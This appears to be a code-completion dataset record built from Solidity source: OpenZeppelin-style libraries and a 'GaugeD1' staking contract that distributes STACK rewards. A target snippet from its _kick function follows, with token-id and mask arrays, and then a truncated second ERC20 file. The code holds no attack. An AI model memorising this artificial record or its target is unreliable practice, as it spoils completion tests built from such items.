the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor () internal { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } contract GaugeD1 is ReentrancyGuard { using SafeERC20 for IERC20; using Address for address; using SafeMath for uint256; address payable public governance = 0xB156d2D9CAdB12a252A9015078fc5cb7E92e656e; // STACK DAO Agent address address public constant acceptToken = 0xeEa3311250FE4c3268F8E684f7C87A82fF183Ec1; // AlphaHomora ibETHv2 address public vaultGaugeBridge; // the bridge address to allow people one transaction to do: (token <-> alphaHomora <-> commit) address public constant STACK = 0xe0955F26515d22E347B17669993FCeFcc73c3a0a; // STACK DAO Token uint256 public emissionRate = 127797160347097087; // 50k STACK total, div by delta block uint256 public depositedCommitSoft; uint256 public depositedCommitHard; uint256 public constant commitSoftWeight = 1; uint256 public constant commitHardWeight = 4; struct CommitState { uint256 balanceCommitSoft; uint256 balanceCommitHard; uint256 tokensAccrued; } mapping(address => CommitState) public balances; // balance of acceptToken by user by commit event Deposit(address indexed from, uint256 amountCommitSoft, uint256 amountCommitHard); event Withdraw(address indexed to, uint256 amount); event Upgrade(address indexed user, uint256 amount); event STACKClaimed(address indexed to, uint256 amount); bool public fundOpen = true; uint256 public constant startBlock = 11955015; uint256 public endBlock = startBlock + 391245; uint256 public lastBlock; // last block the distribution has ran uint256 public tokensAccrued; // tokens to distribute per weight scaled by 1e18 constructor(address _vaultGaugeBridge) public { vaultGaugeBridge = _vaultGaugeBridge; } function setGovernance(address payable _new) external { require(msg.sender == governance, "GAUGE: !governance"); governance = _new; } function setEmissionRate(uint256 _new) external { require(msg.sender == governance, "GAUGE: !governance"); _kick(); // catch up the contract to the current block for old rate emissionRate = _new; } function setEndBlock(uint256 _block) external { require(msg.sender == governance, "GAUGE: !governance"); require(block.number <= endBlock, "GAUGE: distribution already done, must start another"); require(block.number <= _block, "GAUGE: can't set endBlock to past block"); endBlock = _block; } function setFundOpen(bool _open) external { require(msg.sender == governance, "GAUGE: !governance"); fundOpen = _open; } function deposit(uint256 _amountCommitSoft, uint256 _amountCommitHard, address _creditTo) nonReentrant external { require(block.number <= endBlock, "GAUGE: distribution 1 over"); require(fundOpen || _amountCommitHard == 0, "GAUGE: !fundOpen, only soft commit allowed"); // when the fund closes, soft commits are still accepted require(msg.sender == _creditTo || msg.sender == vaultGaugeBridge, "GAUGE: !bridge for creditTo"); // only the bridge contract can use the "creditTo" to credit !msg.sender _claimSTACK(_creditTo); // new deposit doesn't get tokens right away // transfer tokens from sender to account uint256 _acceptTokenAmount = _amountCommitSoft.add(_amountCommitHard); require(_acceptTokenAmount > 0, "GAUGE: !tokens"); IERC20(acceptToken).safeTransferFrom(msg.sender, address(this), _acceptTokenAmount); CommitState memory _state = balances[_creditTo]; // no need to update _state.tokensAccrued because that's already done in _claimSTACK if (_amountCommitSoft > 0){ _state.balanceCommitSoft = _state.balanceCommitSoft.add(_amountCommitSoft); depositedCommitSoft = depositedCommitSoft.add(_amountCommitSoft); } if (_amountCommitHard > 0){ _state.balanceCommitHard = _state.balanceCommitHard.add(_amountCommitHard); depositedCommitHard = depositedCommitHard.add(_amountCommitHard); IERC20(acceptToken).safeTransfer(governance, _amountCommitHard); // transfer out any hard commits right away } emit Deposit(_creditTo, _amountCommitSoft, _amountCommitHard); balances[_creditTo] = _state; } function upgradeCommit(uint256 _amount) nonReentrant external { // upgrading from soft -> hard commit require(block.number <= endBlock, "GAUGE: distribution 1 over"); require(fundOpen, "GAUGE: !fundOpen"); // soft commits cannot be upgraded after the fund closes. they can be deposited though _claimSTACK(msg.sender); CommitState memory _state = balances[msg.sender]; require(_amount <= _state.balanceCommitSoft, "GAUGE: insufficient balance softCommit"); _state.balanceCommitSoft = _state.balanceCommitSoft.sub(_amount); _state.balanceCommitHard = _state.balanceCommitHard.add(_amount); depositedCommitSoft = depositedCommitSoft.sub(_amount); depositedCommitHard = depositedCommitHard.add(_amount); IERC20(acceptToken).safeTransfer(governance, _amount); emit Upgrade(msg.sender, _amount); balances[msg.sender] = _state; } // withdraw funds that haven't been committed to VC fund (fund in commitSoft before deadline) function withdraw(uint256 _amount, address _withdrawFor) nonReentrant external { require(block.number <= endBlock, ">endblock"); require(msg.sender == _withdrawFor || msg.sender == vaultGaugeBridge, "GAUGE: !bridge for withdrawFor"); // only the bridge contract can use the "withdrawFor" to withdraw for !msg.sender _claimSTACK(_withdrawFor); // claim tokens from all blocks including this block on withdraw CommitState memory _state = balances[_withdrawFor]; require(_amount <= _state.balanceCommitSoft, "GAUGE: insufficient balance softCommit"); // update globals & add amtToWithdraw to final tally. _state.balanceCommitSoft = _state.balanceCommitSoft.sub(_amount); depositedCommitSoft = depositedCommitSoft.sub(_amount); emit Withdraw(_withdrawFor, _amount); balances[_withdrawFor] = _state; // IMPORTANT: send tokens to msg.sender, not _withdrawFor. This will send to msg.sender OR vaultGaugeBridge (see second require() ). // the bridge contract will then forward these tokens to the sender (after withdrawing from yield farm) IERC20(acceptToken).safeTransfer(msg.sender, _amount); } function claimSTACK() nonReentrant external returns (uint256) { return _claimSTACK(msg.sender); } function _claimSTACK(address _user) internal returns (uint256){ _kick(); CommitState memory _state = balances[_user]; if (_state.tokensAccrued == tokensAccrued){ // user doesn't have any accrued tokens return 0; } // user has accrued tokens from their commit else { uint256 _tokensAccruedDiff = tokensAccrued.sub(_state.tokensAccrued); uint256 _tokensGive = _tokensAccruedDiff.mul(getUserWeight(_user)).div(1e18); _state.tokensAccrued = tokensAccrued; balances[_user] = _state; // if the guage has enough tokens to grant the user, then send their tokens // otherwise, don't fail, just log STACK claimed, and a reimbursement can be done via chain events if (IERC20(STACK).balanceOf(address(this)) >= _tokensGive){ IERC20(STACK).safeTransfer(_user, _tokensGive); } emit STACKClaimed(_user, _tokensGive); return _tokensGive; } } function _kick() internal { uint256 _totalWeight = getTotalWeight(); // if there are no tokens committed, then don't kick. if (_totalWeight == 0){ return; } // already done for this block || already did all blocks || not started yet if (lastBlock == block.number || lastBlock >= endBlock || block.number < startBlock){ return; } uint256 _deltaBlock; // edge case where kick was not called for the entire period of blocks. if (lastBlock <= startBlock && block.number >= endBlock){ _deltaBlock = endBlock.sub(startBlock); } // where block.number is past the endBlock else if (block.number >= endBlock){ _deltaBlock = endBlock.sub(lastBlock); } // where last block is before start else if (lastBlock <= startBlock){ _deltaBlock = block.number.sub(startBlock); } // normal case, where we are in the middle of the distribution else { _deltaBlock = block.number.sub(lastBlock); } // mint tokens & update tokensAccrued global uint256 _tokensToAccrue = _deltaBlock.mul(emissionRate); tokensAccrued = tokensAccrued.add(_tokensToAccrue.mul(1e18).div(_totalWeight)); // if not allowed to mint it's just like the emission rate = 0. So just update the lastBlock. // always update last block lastBlock = block.number; } // a one-time use function to sweep any commitSoft to the vc fund rewards pool, after the 3 month window function sweepCommitSoft() nonReentrant public { require(block.number > endBlock, "GAUGE: <=endBlock"); // transfer all remaining ERC20 tokens to the VC address. Fund entry has closed, VC fund will start. IERC20(acceptToken).safeTransfer(governance, IERC20(acceptToken).balanceOf(address(this))); } function getTotalWeight() public view returns (uint256){ uint256 soft = depositedCommitSoft.mul(commitSoftWeight); uint256 hard = depositedCommitHard.mul(commitHardWeight); return soft.add(hard); } function getTotalBalance() public view returns(uint256){ return depositedCommitSoft.add(depositedCommitHard); } function getUserWeight(address _user) public view returns (uint256){ uint256 soft = balances[_user].balanceCommitSoft.mul(commitSoftWeight); uint256 hard = balances[_user].balanceCommitHard.mul(commitHardWeight); return soft.add(hard); } function getUserBalance(address _user) public view returns (uint256){ uint256 soft = balances[_user].balanceCommitSoft; uint256 hard = balances[_user].balanceCommitHard; return soft.add(hard); } function getCommitted() public view returns (uint256, uint256, uint256){ return (depositedCommitSoft, depositedCommitHard, getTotalBalance()); } // decentralized rescue function for any stuck tokens, will return to governance function rescue(address _token, uint256 _amount) nonReentrant external { require(msg.sender == governance, "GAUGE: !governance"); if (_token != address(0)){ IERC20(_token).safeTransfer(governance, _amount); } else { // if _tokenContract is 0x0, then escape ETH governance.transfer(_amount); } } }
normal case, where we are in the middle of the distribution
else { _deltaBlock = block.number.sub(lastBlock); } tokensAccrued = tokensAccrued.add(_tokensToAccrue.mul(1e18).div(_totalWeight));
14,401,402
[ 1, 6130, 648, 16, 1625, 732, 854, 316, 326, 7689, 434, 326, 7006, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 202, 202, 12107, 288, 203, 1082, 202, 67, 9878, 1768, 273, 1203, 18, 2696, 18, 1717, 12, 2722, 1768, 1769, 203, 202, 202, 97, 203, 203, 202, 202, 7860, 8973, 86, 5957, 273, 2430, 8973, 86, 5957, 18, 1289, 24899, 7860, 774, 8973, 86, 344, 18, 16411, 12, 21, 73, 2643, 2934, 2892, 24899, 4963, 6544, 10019, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// File: contracts/SafeMath.sol /** * MIT License * * Copyright (c) 2016-2019 zOS Global Limited * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in all * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE * SOFTWARE. */ pragma solidity 0.5.10; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } // File: contracts/IERC20.sol /** * MIT License * * Copyright (c) 2016-2019 zOS Global Limited * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in all * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE * SOFTWARE. */ pragma solidity 0.5.10; /** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see `ERC20Detailed`. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a `Transfer` event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through `transferFrom`. This is * zero by default. * * This value changes when `approve` or `transferFrom` are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * > Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an `Approval` event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a `Transfer` event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to `approve`. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: contracts/ERC20.sol /** * MIT License * * Copyright (c) 2016-2019 zOS Global Limited * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in all * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE * SOFTWARE. */ pragma solidity 0.5.10; /** * @dev Implementation of the `IERC20` interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using `_mint`. * For a generic mechanism see `ERC20Mintable`. * * *For a detailed writeup see our guide [How to implement supply * mechanisms](https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226).* * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an `Approval` event is emitted on calls to `transferFrom`. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard `decreaseAllowance` and `increaseAllowance` * functions have been added to mitigate the well-known issues around setting * allowances. See `IERC20.approve`. */ contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; /** * @dev See `IERC20.totalSupply`. */ function totalSupply() public view returns (uint256) { return _totalSupply; } /** * @dev See `IERC20.balanceOf`. */ function balanceOf(address account) public view returns (uint256) { return _balances[account]; } /** * @dev See `IERC20.transfer`. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public returns (bool) { _transfer(msg.sender, recipient, amount); return true; } /** * @dev See `IERC20.allowance`. */ function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } /** * @dev See `IERC20.approve`. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 value) public returns (bool) { _approve(msg.sender, spender, value); return true; } /** * @dev See `IERC20.transferFrom`. * * Emits an `Approval` event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of `ERC20`; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `value`. * - the caller must have allowance for `sender`'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) { _transfer(sender, recipient, amount); _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount)); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to `approve` that can be used as a mitigation for * problems described in `IERC20.approve`. * * Emits an `Approval` event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(msg.sender, spender, 